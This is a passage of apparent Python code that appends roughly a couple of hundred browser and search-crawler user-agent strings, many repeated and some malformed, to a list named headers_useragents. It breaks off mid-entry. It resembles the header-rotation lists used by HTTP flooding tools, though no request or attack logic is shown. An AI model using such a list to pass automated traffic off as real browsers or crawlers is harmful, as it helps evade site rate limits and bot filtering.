headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET 